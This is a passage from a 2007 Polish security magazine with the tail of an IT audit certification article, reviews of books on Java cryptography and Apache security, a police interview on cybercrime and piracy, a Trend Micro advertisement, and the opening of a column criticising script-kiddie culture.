odpowiednio 35 USD – studenci, 70
USD – członkowie IIA oraz 95 USD
– pozostałe osoby. Program egzami-
nu składa się z czterech części. Na-
leży tu podkreślić, iż posiadanie cer-
tyfikatu CISA zwalnia z czwartej czę-
ści egzaminu.
Część I
Rola procesu audytu wewnętrznego
w zakresie nadzoru korporacyjnego,
ryzyka i kontroli:
• zgodność ze standardami IIA do-
tyczącymi atrybutów audytu we-
wnętrznego: 15% – 25%,
• tworzenie planu oraz określe-
nie priorytetów działania audytu
wewnętrznego kierując się ryzy-
kiem: 15% – 25%,
• rozumienie roli procesu audytu
wewnętrznego w zakresie nadzo-
ru organizacyjnego: 10% – 20%,
• wypełnianie pozostałych ról i
odpowiedzialności audytu we-
wnętrznego: 0% – 10%,
• elementy wiedzy w zakresie nad-
zoru organizacyjnego, ryzyka i
kontroli: 15% – 25%,
• planowanie zadań: 15% – 25%.
Część II
Wykonywanie zadań audytu we-
wnętrznego:
• wykonywanie
zadań:
25%
– 35%,
• wykonywanie zadań szczegól-
nych: 25% – 35%,
• monitorowanie wyników zadań:
5% – 15%,
• elementy wiedzy w zakresie
oszustw: 5% – 15%,
• narzędzia do realizacji zadań au-
dytorskich: 15% – 25%.
Część III
Analizy biznesowe i technologie in-
formatyczne:
• procesy biznesowe: 15% – 25%,
• rachunkowość finansowa i finan-
se: 15% – 25%,
• rachunkowość zarządcza: 10%
– 20%,
• regulacje, prawo i ekonomia: 5%
– 15%,
• technologie informatyczne (IT):
30% – 40%.
Część IV
Umiejętności w zarządzaniu przed-
siębiorstwem:
• zarządzanie strategiczne: 20%
– 30%,
• globalne otoczenie biznesowe:
15% – 25%,
• działania w organizacji: 20%
– 30%,
• umiejętności kierownicze: 20%
– 30%,
• negocjacje: 5% – 15%.
Podsumowanie
W procesie audytu bardzo waż-
nym składnikiem jest czynnik ludz-
ki. Pomimo zastosowania właści-
wych standardów i metodyk audy-
tów systemów informatycznych or-
ganizacje chętnie zlecają przepro-
wadzenie audytów firmom, które
posiadają certyfikowanych audy-
torów. Takie podejście nie wyklu-
cza, lecz minimalizuje możliwość
wystąpienia błędu ludzkiego przy
przeprowadzaniu czynności audy-
torskich. Konsekwencją przepro-
wadzenia audytów informatycz-
nych na wysokim poziomie jest do-
starczenie rzetelnych informacji,
większa ochrona instytucji przed
niepożądanymi zdarzeniami, lep-
sze zabezpieczenie majątku firmy i
racjonalne wykorzystanie zasobów
informatycznych. l
O autorze
Wojciech Malec – audytor wewnętrzny
Systemu Zarządzania Jakością, spe-
cjalista w zakresie ochrony informacji
prawnie chronionych, odpowiedzialny
za implementacje zasad bezpieczeń-
stwa w nowych projektach informa-
tycznych. Redaktor portalu http://www.
ochronainformacji.pl.
Kontakt z autorem:
w.malec@ochronainformacji.pl.
hakin9 Nr 10/2007
www.hakin9.org
72
Księgozbiór
Kryptografia w Javie. Od podstaw
Tytuł: Kryptografia w Javie. Od podstaw
Autor: David Hook
Wydawca: Helion
Rok wydania w Polsce: 2006
Strony: 512
Jak istotna w dzisiejszym świecie jest kryptografia,
nikomu raczej nie trzeba tłumaczyć. Co jednak zrobić,
by nasza aplikacja była jednocześnie wydajna i bez-
pieczna? Jak w jednym z najpopularniejszych i najszyb-
ciej rozwijających się języków programowania został
rozwiązany problem szyfrowania? Za główny cel autor
postawił sobie przybliżyć Czytelnikowi wszystkie te
zagadnienia w sposób jak najbardziej przystępny.
Co znajdziemy w książce? Pierwsze pięć rozdziałów
dotyczy podstaw, czyli przede wszystkim interfejsów
(JCE, JCA) z wykorzystaniem dostawcy Bouncy Castle
oraz podstaw kryptografii, takich jak szyfry symetrycz-
ne, asymetryczne, skróty wiadomości (MAC, HMAC), a
także również konkretne algorytmy: RSA, DSA. Kolej-
ne rozdziały to już prawdziwa gratka dla osób poważnie
zajmujących się tą dziedziną informatyki. Przejdziemy
poprzez notację ASN.1, operacje na certyfikatach, CMS
i S/MIME, na SSL i TLS kończąc. Jako dodatek znaj-
dziemy skrót terminów i ważniejszych zagadnień, roz-
szerzenie tematów (np. krzywe eliptyczne) i podzieloną
tematycznie bibliografię.
Pierwsze, na co zwróciłem uwagę, to bardzo dobry
podział merytoryczny treści. Autor wybrał schemat:
opis, jak to działa, spróbuj sam i konsekwentnie prze-
strzega go, aż do samego końca. Ma to istotny wpływ
przy poszukiwaniu odpowiedzi na konkretne pytania,
gdyż zapobiega bezsensownemu wertowaniu stron.
Przykłady są dobrane do konkretnego zagadnienia i
nie zawierają zbędnych dodatków. Spodobało mi się,
że autor nie zasypuje Czytelnika olbrzymią liczbą pro-
fesjonalnych terminów, dzięki czemu czyta się tę pozy-
cję dość przyjemnie. Dużym atutem są również przy-
kłady operacji szyfrowania na strumieniach, m. in. pli-
kach.
Z minusów należy wymienić fakt, że dowiemy się tylko
i wyłącznie o jednym dostawcy klas implementujących
SPI (Service Provider Interface) – Bouncy Castle, któ-
rego jednym z założycieli jest autor. Użyte klasy narzę-
dziowe w następujących po sobie rozdziałach są kolejny-
mi rozszerzeniami poprzednich, co bywa uciążliwe, gdy
chcemy szybko wykorzystać daną klasę w swoim projek-
cie. Całość obejmuje J2SE 5.0, więc próżno szukać przy-
kładów z wykorzystaniem JEE. Przy pierwszym czyta-
niu omawianie poszczególnych metod może być nużące,
jednak gdy zajdzie potrzeba dotarcia do szczegółowych
informacji o wybranej funkcji, jest to wysoce przydatne.
Podsumowując – nie jest to książka idealna, gdyż autor
w pewnych obszarach poszedł na kompromis pomiędzy
oczekiwaniami zaawansowanych i początkujących pro-
gramistów. Mogę jednak śmiało stwierdzić, że Kryptogra-
fia w Javie to dobra pozycja, w której znajdziemy zarów-
no dobrze przygotowaną teorię, jak i przepis na praktycz-
ne zastosowanie nabytej wiedzy – dość aktualnej, gdyż
obejmującej J2SE 5.0. Polecam ją zarówno słabo orien-
tującym się w tematyce, jak i tym, którzy napisali już nie-
jeden kod, gdyż każdy, kto zajmuje się tworzeniem opro-
gramowania w Javie, znajdzie w niej coś dla siebie. Z pew-
nością nie jest to książka, którą po przeczytaniu odstawia
się na półkę, ponieważ do opisów poszczególnych metod
i szczegółowych rozwiązań z pewnością czytelnicy wrócą
nie raz w trakcie tworzenia swoich aplikacji.
Marcin Kulawinek
Apache. Zabezpieczenia aplikacji
i serwerów WWW
Tytuł: Apache. Zabezpieczenia aplikacji i serwerów www
Autor: Ryan C. Barnett
Wydawca: Helion
Rok wydania w Polsce: 2007
Strony: 544
Apache jest jednym z najpopularniejszych serwerów,
właściwe jego zabezpieczenie może być wyzwaniem nie
tylko dla początkujących administratorów, ale także dla
tych bardziej zaawansowanych. Można się o tym przeko-
nać przeglądając niemal codziennie pojawiające się wia-
domości na temat podmienienia witryny czy też przepro-
wadzenia udanego ataku na jakiś serwis. Ryan C. Bar-
nett w swojej książce Apache. Zabezpieczenia aplika-
cji i serwerów WWW postawił sobie niełatwy cel, jakim
jest opisanie procesu zabezpieczenia serwera oraz takiej
nim administracji, która zminimalizuje ryzyko udanego
włamania.
Książka w pierwszym rozdziale przedstawia ogólne
czynniki mające wpływ na bezpieczeństwo Sieci i uka-
zuje istotną rolę systemu operacyjnego oraz aplikacji w
dziedzinie zabezpieczeń. Kolejne rozdziały koncentru-
ją się już na bezpieczeństwie serwera Apache. Tak więc
mamy tu opis instalacji (wraz z przykładami poprawnej
konfiguracji), przy czym zostały pokazane dwie możli-
we drogi: jedna polega na instalacji serwera z pakietów
binarnych, druga – preferowana przez autora – to samo-
dzielna kompilacja z plików źródłowych. Kontynuując lek-
turę, dowiadujemy się o sposobach wykrywania i reago-
wania na włamania do systemu, metodach testowania
zabezpieczeń serwera za pomocą odpowiednich narzę-
dzi, a także poznajemy opis najważniejszych modu-
łów przeznaczonych do zabezpieczenia aplikacji oraz
samego serwera. Gdy już zapoznamy się z tymi rozdzia-
łami, przyjdzie nam sprawdzić nowo nabyte umiejętności.
Rozdział ósmy służy właśnie temu celowi i może zapew-
nić niezłą zabawę, spełniając przy tym swój podstawowy
cel – czyli nauczenie administratora Apache myśleć tak,
jak włamywacz (przynajmniej takie jest założenie), dzięki
czemu będzie mógł przewidywać ewentualne drogi ataku
i zapobiegać im skuteczniej. Następnie będziemy mieli
okazję zapoznać się z otwartym serwerem proxy skon-
figurowanym jako system-pułapka oraz olbrzymią ilością
danych o atakach, zgromadzonych przez ten serwer. Ma
to istotny związek z problematyką wykorzystania serwe-
ra Apache w zabezpieczaniu Sieci oraz pomaga zapre-
zentować opisane wcześniej metody ochrony. Całość
zamyka podsumowanie przedstawionych w książce roz-
wiązań.
Książka zawiera naprawdę solidną porcję wiedzy
wzbogaconą licznymi przykładami, dzięki czemu czyta
się ją lekko i przyjemnie. Myślę, że można ją polecić
każdemu użytkownikowi serwera Apache, a szczegól-
nie tym, którzy są zainteresowani jak najlepszym jego
zabezpieczeniem przed intruzami.
Mariusz Świercz
Serdeczne podziękowania dla wydawnictwa Helion, za
udostępnienie książek do recenzji.
R
E
K
L
A
M
A
www.hakin9.org
hakin9 Nr 10/2007
74
Wywiad
hakin9:
Proszę powiedzieć Czytelnikom kilka
słów o sobie – ile czasu pracuje Pan w policji, ja-
ki ma Pan staż na poszczególnych stanowiskach,
jakimi sukcesami może się Pan pochwalić?
Zbigniew Urbański:
W policji pracuję od 1991
roku. Zaczynałem od zwykłej pracy w prewencji –
przez 1,5 roku po prostu patrolowałem ulice. Było
to w Poznaniu. Potem powstał w Komendzie Wo-
jewódzkiej w Poznaniu nowy wydział ds. Przestęp-
czości Gospodarczej (PG) i zatrudniono mnie tam
na stanowisku asystenta, ale praktycznie przez 6
miesięcy byłem kierowcą i przyglądałem się pra-
cy kolegów. Piractwem zacząłem się interesować
w 1994 roku, a swoją działalność w tym zakresie
rozpocząłem od... ścigania piractwa na bazarach.
Piractwo zaczęło panoszyć się także w Internecie
i tak to się wszystko potoczyło.
h9:
Jak wygląda walka z przestępczością in-
ternetową i piractwem? Czy są w nią zaangażo-
wane specjalne zespoły skupiające specjalistów
IT, ile jest takich zespołów w Polsce?
ZU:
Pod koniec lat 90-tych Komenda Głów-
na Policji wyszła z inicjatywą, aby przeszko-
lić jak największą liczbę policjantów, którzy już
pracowali w PG i mieli odpowiednie wykształce-
nie, a także byliby chętni nabyć wiedzę pod ką-
tem hi–tech. Później tacy policjanci mieli wrócić
do swoich jednostek i szkolić w nich kaskadowo
kolejnych policjantów. Taki cykl szkoleń rozpoczął
się w 2000 roku. Wykładowcami byli policjanci z
prawie wszystkich krajów Unii Europejskiej i nie
tylko (Niemcy, Francuzi, Holendrzy, Anglicy, Hisz-
panie, przedstawiciele FBI czy Secret Service).
Początek tych szkoleń był bardzo zabawny, szko-
leniowcy przyjeżdżając do Polski myśleli, że tra-
fili do kraju, gdzie poziom wiedzy informatycznej
jest bardzo niski i zaczynali od uczenia nas bu-
dowy komputera. Naszą dotychczasową wiedzą
zburzyliśmy im cały proces szkolenia. Kolejne
szkolenia oczywiście odbywały się już na zupeł-
nie innym poziomie. Dawano nam różne zadania
takie jak steganografia, nauka programu nCase
do odzyskiwania danych, odszyfrowanie danych
zapisanych na dysku czy łamanie haseł. I to się
udało! Te szkolenia trwają do dnia dzisiejszego,
wspomniana grupa policjantów jest najczęściej
szkoloną grupą zawodową w całej policji (oprócz
antyterrorystów). Potrzebne są ciągłe szkolenia,
ponieważ ta dziedzina wiedzy się wciąż zmienia,
powstają nowe techniki i narzędzia. Prosty przy-
kład: kiedy zaczynaliśmy poznawać nCase, była
to wersja 3, a w tej chwili jest już 6. Jesteśmy wła-
śnie po takim szkoleniu – okazuje się, że zmiany,
jakie wprowadza producent programu, są tak po-
ważne i skomplikowane, że trzeba na nowo or-
ganizować szkolenia (najczęściej są one dwuty-
godniowe).
h9:
Czy takie szkolenia odbywają się stan-
dardowo w szkole policyjnej, czy też można okre-
ślić je jako bardziej elitarne?
Wywiad z komisarzem
Zbigniewiem Urbańskim
Zbigniew Urbański
W policji pracuje od 1991 roku,
zaczynał od prewencji, obecnie jest
komisarzem, ekspertem do spraw
przestępczości internetowej.
ZU:
Są to szkolenia specjalistyczne, techniczne. Odby-
wają się zazwyczaj w Legionowie, gdzie znajduje się Mię-
dzynarodowe Centrum Policji i pracuje wykwalifikowana ka-
dra szkoleniowa. Znajduje się tam odpowiednia sala multi-
medialna, specjalnie przygotowana do takich szkoleń.
h9:
Czy możemy mówić o konkretnej polityce policji ds.
zwalczania przestępczości internetowej i kradzieży własno-
ści intelektualnej? Czy są prowadzone szkolenia, kto w nich
uczestniczy (szeregowi, oficerowie, ochotnicy)? Jak wyglą-
da zaplecze sprzętowe, laboratoria w jakich pracują Pań-
stwa specjaliści?
ZU:
Z jednej strony działalność policji należy pojmować
jako całość, ale w tym wypadku rzeczywiście można po-
wiedzieć o takiej konkretnej polityce. Nas swego czasu me-
dia nazywały Cyberszeryfami – to trochę zabawne, ale chy-
ba coś w tym jest. My oczywiście pracujemy w rzeczywi-
stym świecie, a nie w wirtualnym, ale jesteśmy policjantami
naprawdę dobrze przeszkolonymi - głównie do zwalczania
przestępczości komputerowej i internetowej.
h9:
Słyszymy czasem o tzw. zapaleńcach, którzy do-
szkalają się na własny rachunek i drążą konkretne tematy.
Czy może Pan podać jakiś konkretny przykład?
ZU:
Większość policjantów do niedawna (bo chwi-
li obecnej staramy się, żeby to jednak byli informatycy), w
tym wielu moich kolegów i ja sam uczyliśmy się na wła-
snych albo pożyczonych komputerach. Jak dobrze pamię-
tam, w roku 1993 czy 1994, komputer w policji to była cie-
kawostka, więc ja uczyłem się jego obsługi na komputerze
kolegi. Stwierdziłem kiedyś, że to ma ogromną przyszłość
i wraz z rozwojem technologii informatycznych będzie po-
stępowała też przestępczość komputerowa. Jeżeli policjan-
ci jadą na przeszukanie – czy to do firmy, czy do mieszka-
nia prywatnego – to zwykle na miejscu jest jakiś komputer
i trzeba go przeszukać, jeśli nie ma samego komputera, to
są płyty, dyskietki, które musimy przejrzeć, podobnie jest
z telefonem. Mamy urządzenia do odczytywania danych z
urządzeń, które mają możliwość zapisu danych na różnego
rodzaju nośnikach.
h9:
Jak wygląda proces wykrywania nielegalnego opro-
gramowania w firmach – od momentu zgłoszenia o prze-
stępstwie do zatrzymania?
ZU:
Ten proces wygląda bardzo różnie. Osobiście pa-
miętam przypadek, kiedy zgłosił się do nas były pracow-
nik firmy, który zgłosił, że korzysta ona z nielegalnych sys-
temów operacyjnych. Oczywiście, jeżeli otrzymujemy takie
informacje, to sami musimy to sprawdzić i to jest żmudna
praca. Nie można tak po prostu wejść do firmy, staramy się
najpierw w jakiś inny sposób potwierdzić te informacje. My
nie robimy kontroli, kiedy już wchodzimy do firmy, to musi-
my mieć do tego solidne podstawy, a także nakaz prokura-
tora. Jeśli jednak już się to stanie, rozpoczyna się żmudna
praca logistyczna – trzeba odpowiedzieć na pytanie, jak w
należyty sposób zabezpieczyć 100 komputerów. Do każde-
go komputera powinien być przypisany jeden policjant, któ-
ry miałby pilnować, aby nikt nie miał do niego dostępu i nic
z tym komputerem nie mógł już zrobić. Od momentu zabez-
pieczenia komputera każda operacja na nim powinna być
hakin9 Nr 10/2007
www.hakin9.org
Wywiad
76
odnotowana – nawet pojedynczy ruch myszką. Spisywa-
ne są wszystkie części komputerowe. Przez cały czas to-
warzyszy nam osoba wyznaczona przez firmę i przygląda
się naszym działaniom, później zaś podpisuje się pod pro-
tokołem.
h9:
Jak wyglądają wyroki w takich sprawach? Czy są
to niskie kary w zawieszeniu, czy może takie o których mó-
wi się w telewizji? Czy te wyroki mogą odstraszyć potencjal-
nych przestępców? Jakie kary pieniężne nakładane są na
firmy używające nielegalnego oprogramowania?
ZU:
Tak naprawdę nie wiemy, jakie są wyroki. Nasza
praca kończy się, kiedy prokurator kieruje całą sprawę do
sądu. Najczęściej w sprawach o naruszenie praw autor-
skich zapadają wyroki w zawieszeniu na 3 lata. Zawsze na-
kładana jest kara grzywny, są to kwoty od kilkunastu do kil-
kuset tysięcy złotych. Często producent oprogramowania
występuje jeszcze na drogę cywilną, domagając się od-
szkodowania. Bywały przypadki, kiedy firmy musiały zapła-
cić odszkodowania w wysokości 400 tysięcy złotych.
h9:
Jak kształtuje się poziom piractwa w Polsce ?
ZU:
Nie prowadzimy sami takich badań, ale słyszałem
ostatnio, że odnotowuje się spadek poziomu piractwa w
Polsce. Moim zdaniem, jest on jeszcze niestety za wysoki.
Zdajemy sobie sprawę z tego – zresztą podobnie jak produ-
cenci oprogramowania – że nie da się wyeliminować pirac-
twa całkowicie. Wszystko się przeniosło teraz do Interne-
tu. Kiedyś biegaliśmy po stoiskach i przeszukiwaliśmy tor-
by czy kwietniki, natomiast teraz jest to praca za biurkiem,
przy monitorze.
h9:
Czy korzystanie z nielegalnego oprogramowania
przez użytkowników (na własny użytek) jest tak samo po-
strzegane z punktu prawnego jak używanie tego oprogramo-
wania przez firmy lub osoby, które czerpią z tego profity?
ZU:
Polskie prawo jest tak skonstruowane, że każde
używanie nielegalnego oprogramowania jest karalne. Jeżeli
ktoś wykorzystuje takie oprogramowanie w pracy czy do za-
bawy w domu - popełnia przestępstwo. Jednak w przypad-
ku, gdy ktoś prowadzi działalność gospodarczą i czerpie z
nielegalnego oprogramowania korzyści materialne – podle-
ga wyższej karze.
h9:
Czy w Polsce odnotowuje się ataki hakerskie w celu
uzyskania korzyści materialnych, np. kradzieże pieniędzy z
kont bankowych, wartościowych danych? Może Pan poku-
sić się o jakiś przykład?
ZU:
Zanotowaliśmy ok. 200 zgłoszeń dotyczących ata-
ków hakerskich w Polsce, a to jest bardzo mało. Z dru-
giej strony, często znaleźć można w Internecie – na róż-
nych blogach czy forach – wypowiedzi osób chwalących
się swoimi udanym atakami, np. że udało się podmienić
coś na określonej witrynie czy uzyskać dostęp do pewnych
poufnych danych. My jednak na podstawie tego nie może-
my nic zrobić, dopóki zaatakowana organizacja sama nam
tego nie zgłosi. Rzadko się zdarza, że otrzymujemy zgło-
szenia o kradzieży cennych danych. Najczęściej dociera-
ją do nas zgłoszenia o atakach DDoS, które utrudniają pra-
cę serwera. Zdarzały się sytuacje, że ktoś żądał kwot pie-
niężnych za oddanie danych okradzionej firmie, sprawy ta-
kie kończyły się naszym sukcesem z naszej strony i zatrzy-
maniem takiej osoby.
h9:
Czy jest prawdą, że banki nie ujawniają informacji
o fakcie – udanego bądź nie – ataku na ich placówki ze wzglę-
du na opinię publiczną i zagrożenie ze strony prasy, konkuren-
cji? Czy banki są zdolne nawet do niepowiadamiania policji o
udanym ataku, bojąc się, że taki news obiegnie kraj?
ZU:
Nie wiem, czy takie sytuacje mają miejsce, gdyż po
prostu nie posiadam takich informacji. To, co się dzieje po
stronie banku, jest wyłącznie jego sprawą. Ja mogę tylko
powiedzieć, że z bankami współpracuje się nam bardzo do-
brze. Jest to współpraca w zakresie płatności elektronicznych,
robienia nakładek skanujących karty na bankomaty czy walki z
przypadkami dokonywania zakupów kradzioną kartą. Nie od-
notowaliśmy przypadków włamań na systemy bankowe.
h9:
Czy w Polsce możemy mówić o zorganizowanej
przestępczości internetowej, czy mamy raczej do czynienia
z pojedynczymi osobami?
ZU:
Tak, możemy w tym wypadku mówić o zorganizo-
wanej przestępczości internetowej. Była taka duża sprawa
na południu Polski, dotyczyła oczywiście piractwa. Prze-
stępcy byli tak dobrze zorganizowani, że posiadali nawet
serwer, który przewozili z miasta do miasta, żeby ich nie
namierzyć. Byli podzieleni na grupy osób, z których część
kontaktowała się z osobami ze Stanów Zjednoczonych, ma-
jącymi dostęp do najnowszych plików muzycznych czy fil-
mów. Ukradzione materiały były później sprzedawane oso-
bom zainteresowanym w Polsce. Występował tu wyraźny
podział ról: jedni byli odpowiedzialni za zakupy na Zacho-
dzie, inni robili kopie czy obsługiwali serwer, jeszcze kolejni
prowadzili sprawy finansowe szajki. Tak naprawdę przez In-
ternet nietrudno się zorganizować, nawet nie trzeba się wi-
dzieć i znać. Dla nas oznacza to utrudnienie – przesłucha-
nia takich osób nam niewiele dają, gdyż one się najzwyczaj-
niej w świecie nie znają. Musimy w naszej pracy opierać się
więc na danych elektronicznych. Z drugiej strony są to do-
bre dowody, bo ciężko je podważyć w sądzie.
h9:
Jak wygląda status prawny eMule, Kazaa, YouTu-
be? Czy osobie ściągającej materiały z tych serwisów bądź
klientów p2p na własny użytek grozi jakaś kara? Czy taka
działalność jest monitorowana i czy użytkownik ściągający
100 MB na tydzień tak samo jest postrzegany, jak ten który
pobiera 10 GB tygodniowo?
ZU:
Generalnie nie interesujemy się osobami, które
ściągają materiały, tylko tymi, które je udostępniają, roz-
powszechniają. Działania nasze inspirowane są głównie
przez firmy, które reprezentują właścicieli utworów. Ludzie
ci się organizują, przeszukują Internet oraz monitorują sieci
p2p. Później przekazują nam dane dotyczące konkretnych
przypadków transferu danych wraz z wnioskiem o ściganie.
Oczywiście, jeżeli my trafimy podczas monitorowania sie-
ci na tzw. grubą rybę, która udostępnia przykładowo 5 tera-
bajtów danych, to sami podejmujemy działania – nie sposób
przejść obok czegoś takiego obojętnie. Jednak ci, którzy je-
dynie ściągają dane, nie popełniają przestępstwa.
h9:
Dziękujemy za rozmowę.
ZU:
Dziękuję.
TREND MICRO DLA MSP
Firmy IT oczekują kompleksowej ochrony w zakre-
sie bezpieczeństwa poczty i dostępu do Interne-
tu. Jednocześnie administracja rozwiązań bezpie-
czeństwa musi być przyjazna i intuicyjna, a cena
nie może być zbyt wysoka – mówi Filip Demianiuk,
inżynier Trend Micro.
Takie kompleksowe rozwiązania specjalnie dla
MSP przygotowała firma Trend Micro. Na szczegól-
ną uwagę zasługują następujące produkty: Client/
Server Security for SMB, Client/Server/Messaging
Security for SMB, Interscan Viruswall for SMB, Ne-
atsuite for SMB, Anti-Spyware for SMB. Warto też
wspomnieć w tym miejscu o rozwiązaniu hardwe-
arowym IGSA, które skanuje ruch webowy i pocz-
towy.
Client/Server Security for SMB to pakiet prze-
znaczony dla firm, w których liczba stacji robo-
czych nie przekracza 250. Zapewnia pełną ochro-
nę tych stacji oraz serwerów pracujących pod
kontrolą systemu Microsoft Windows przed zagro-
żeniami takimi jak wirusy, robaki, trojany, ataki
hakerów, spyware oraz rootkity. Konfigurowanie
pakietu oraz zarządzanie nim odbywa się poprzez
konsolę dostępną przez przeglądarkę internetową
i jest na tyle proste, iż nie wymaga od użytkownika
specjalistycznej wiedzy z zakresu informatyki.
Podobny charakter ma system Client/Server/
Messaging Security for SMB. Stworzono go z my-
ślą o skutecznej walce z wirusami i spamem.
Zapewnia ochronę 250 stacji roboczych, serwerów
plikowych oraz serwerów pracy grupowej Microsoft
Exchange. Administrator ma możliwość używania
jednego rozwiązania do jednoczesnej, kompletnej
ochrony antywirusowej i antyspamowej sieci przed-
siębiorstwa. Centralne zarządzanie poprzez specjal-
ną konsolę dostępną poprzez przeglądarkę inter-
netową zapewnia kontrolę nad ochroną antywiru-
sową sieci w całej firmie. Łatwa instalacja i prosto-
ta obsługi powoduje, że pakiet może być wdrażany i
administrowany nawet przez użytkowników, którzy
nie mają fachowej wiedzy z zakresu informatyki.
Interscan Viruswall for SMB to z kolei pro-
gram przeznaczony do ochrony bramki interneto-
wej przed zagrożeniami takimi jak wirusy, robaki,
trojany, spam itp. Jego sprzętowy odpowiednik,
to appliance IGSA. Ochrona przed wspomnianymi
zagrożeniami realizowana jest poprzez bieżące
skanowanie poczty elektronicznej (ruch poprzez
protokoły SMTP, POP3), ruchu przez przeglądar-
kę internetową (HTTP) oraz ruchu związanego
z pobieraniem plików z serwerów FTP. Zagrożenia
są identyfikowane i usuwane już na poziomie
bramki internetowej zanim dotrą do stacji robo-
czych czy serwera pocztowego, co zapobiega
rozprzestrzenianiu się infekcji wirusowych. Ochro-
na antywirusowa realizowana jest w oparciu
o bazę sygnatur wirusów, która jest na bieżąco
aktualizowana przez firmę Trend Micro, jak i mecha-
nizmy heurystyczne (IntelliTrap). Ochronę anty-
spamową zapewniają największe na świecie listy
statyczne RBL+ i dynamiczne QIL oraz heury-
styczny moduł antyspamowy, którego stopień
czułości można regulować w zależności od stopnia
ochrony jaki chcemy uzyskać. Program umożliwia
również filtrowanie zawartości poczty elektronicz-
nej oraz zawartości stron WWW.
Neatsuite for Small and Medium Business
to połączenie Client Server Messaging Security
for Small and Medium Business oraz InterScan
VirusWall 6.0. Łączy w sobie zalety obu wspomnia-
nych produktów. Dodatkowo umożliwia filtrowa-
nie zawartości poczty elektronicznej i zawarto-
ści stron WWW oraz blokowanie transferu plików
z Internetu. Administrator może więc używać
jednego rozwiązania do ochrony antywirusowej
i antyspamowej. Łatwa instalacja i obsługa powo-
duje, że pakiet może być wdrażany i administro-
wany nawet przez użytkowników, którzy nie mają
fachowej wiedzy z zakresu informatyki.
Wreszcie Anti-Spyware for SMB. Służy do
ochrony stacji roboczych i serwerów przed progra-
mami szpiegowskimi (spyware). Skutecznie bloku-
je i usuwa spyware, włącznie z programami typu
adware, rejestrującymi naciśnięcia klawiszy (key-
logger), wyłączającymi zabezpieczenia i przejmu-
jącymi kontrolę nad przeglądarką, które powodują
uszkodzenia zasobów firmy i negatywnie wpływają
na jej wydajność oraz kradną informacje. Program
zapewnia centralną instalację, administrację oraz
konfiguracje dostepną poprzez Webową konso-
lę zarządzającą. Dzięki automatycznej aktualiza-
cji oraz ochronie w czasie rzeczywistym program
Trend Micro Anti-Spyware for SMB zapewnia najlep-
szą ochronę anty-spyware.
Trend Micro uruchomił wspólnie z Dagmą
Sp. z o.o., dystrybutorem rozwiązań z zakresu bez-
pieczeństwa IT, nowy program partnerski dla resel-
lerów obsługujących rynek małych i średnich firm.
Dagma Sp. z o.o., która współpracuje z Trend Micro
już od ośmiu lat, staje się obecnie strategicznym
partnerem tej firmy na rynku MSP. Klienci otrzy-
mali dzięki temu łatwy dostęp do kompleksowych
rozwiązań z zakresu bezpieczeństwa. Więcej
informacji na temat produktów Trend Micro można
znaleźć na stronie
www.trendmicrosmb.pl.
Reklama
Liczba rosnących zagrożeń związanych z wykorzystaniem komputerów
i Internetu spowodowała, że sektor SMB zaczął bardzo poważnie traktować
sprawy bezpieczeństwa IT.
DAGMA Sp. z o.o. – dystrybutor
TREND MICRO w Polsce
ul. Pszczyńska 15
40-478 Katowice
tel. (32) 259 11 00
www.dagma.pl
sales@dagma.pl
www.trendmicrosmb.pl
Kontakt:
hakin9 Nr 10/2007
www.hakin9.org
78
Felieton
R
ozwój mediów i rosnąca liczba zainteresowa-
nych bezpieczeństwem sieciowym przyczy-
nia się do rozrostu grup użytkowników Inter-
netu, których po prostu mogłoby nie być. Czasem są
to ludzie denerwujący innych użytkowników, a cza-
sami niewinne nastolatki szukające zabawy i rozryw-
ki. Jest to kłopot dzisiejszego społeczeństwa głów-
nie z powodu rosnącej liczby przestępstw sieciowych.
Kiedyś mało kto znał pojęcie haker bądź przestępstwa
komputerowe.
Kto pamięta grę Pacman lub Pong? Nie – wcale nie
wydziwiam. Te stare, można powiedzieć oldschoolowe
gry do dzisiaj są pamiętane przez starszyznę. Pamię-
tam, że sam się wychowałem na starej, poczciwej kon-
soli Pegasus z paroma dyskietkami do wyboru. Podsta-
wówka tego w ogóle nie zna. Dlaczego? Odpowiedź jest
bardzo prosta. Po pierwsze Tibia, która jest zmorą wiszą-
cą nad głowami setek tysięcy młodych umysłów. Jest to
według mnie jedna z najbardziej demoralizujących gier
przeznaczonych dla odbiorców w młodym wieku. Ile to
razy można przeczytać wypowiedź typu Cześć, pomoże-
cie? Jakiś typek ukradł mi dużo rzeczy w Tibii i chciałbym
się jakoś odpłacić. Jest może do tego jakiś program?.
Dalszą część tej niezdrowej rozmowy wyobrazić może
sobie każdy. W dzisiejszych czasach prawie każdy dzie-
ciak marzy o przygodach, a duża część z nich przygody
te kojarzy z komputerem i Siecią. Można zauważyć, jak
na naszych oczach rosną małe stworki przystosowane
do gotowych programów typu VSK Keylogger, czy innych,
które (nie okłamujmy siebie) pomagają w codziennym
życiu. Trzeba jednak wiedzieć coś na temat, którym się
chce zająć, trzeba choćby w małej mierze łyknąć trochę
wiedzy. Dzieciaki na pytanie typu: Mogę mieć dostęp do
GG kolegi? dostają w odpowiedzi linki do różnego typu
oprogramowania. Ale co dalej? Wcale nie myślą nad tym,
co robią. Wyobrażają sobie dobrą zabawę w szkole, gdy
zobaczą twarz kolegi, który właśnie pozbył się GG. Nie
dość, że dostaną program podany na tacy i małą podpo-
wiedź typu SE lub Socjotechnika, to i tak nie potrafią tego
często wykorzystać. I już szykuje się następne pytanie,
Co to jest SE? Czy nie dość już tego?
Gdzie się podziały czasy, gdy szanowano sam Inter-
net, jak i każdego użytkownika? Teraz dzięki zmiennym
Druga strona medalu
IP tworzy się grupa userów zwana dziećmi neostra-
dy lub trollami. Ich rola ogranicza się głównie do zatru-
wania rozmów na forach, kanałach IRC czy też gru-
pach dyskusyjnych. Myślę, że każdy z nas zna poję-
cie troll w sieciowym znaczeniu. Co przyczyniło się do
stworzenia się tej warstwy społeczeństwa sieciowego?
Niech każdy odpowie sobie sam na to pytanie. Rozwój
Internetu i jego dostawców. Nie neguję w tym momen-
cie TP, ale zwracam uwagę na problem, jaki stworzyli-
śmy sobie sami. Chcieliśmy anonimowości i nieuchwyt-
ności? Mamy proxy, mamy TOR, ale mamy też i TP. Dla
niektórych jest to wygodne, ale nie wszyscy podziela-
ją ich zdanie.
Gdzie się nie obejrzymy, znajdziemy zawsze kogoś,
kto chciałby zostać hakerem. Weźmy na przykład moją
klasę. Dobry znajomy, po którym bym się wcale tego
nie spodziewał, dał się złapać na sztuczkę marketingo-
wą i wydał duże pieniądze na Szkołę hakerów, która mu
w żadnym razie nie pomogła. Warto dodać, iż znajomy
z komputerami nie jest za pan brat, jego poziom można
określić ilością godzin spędzonych przy grach, a nie zaję-
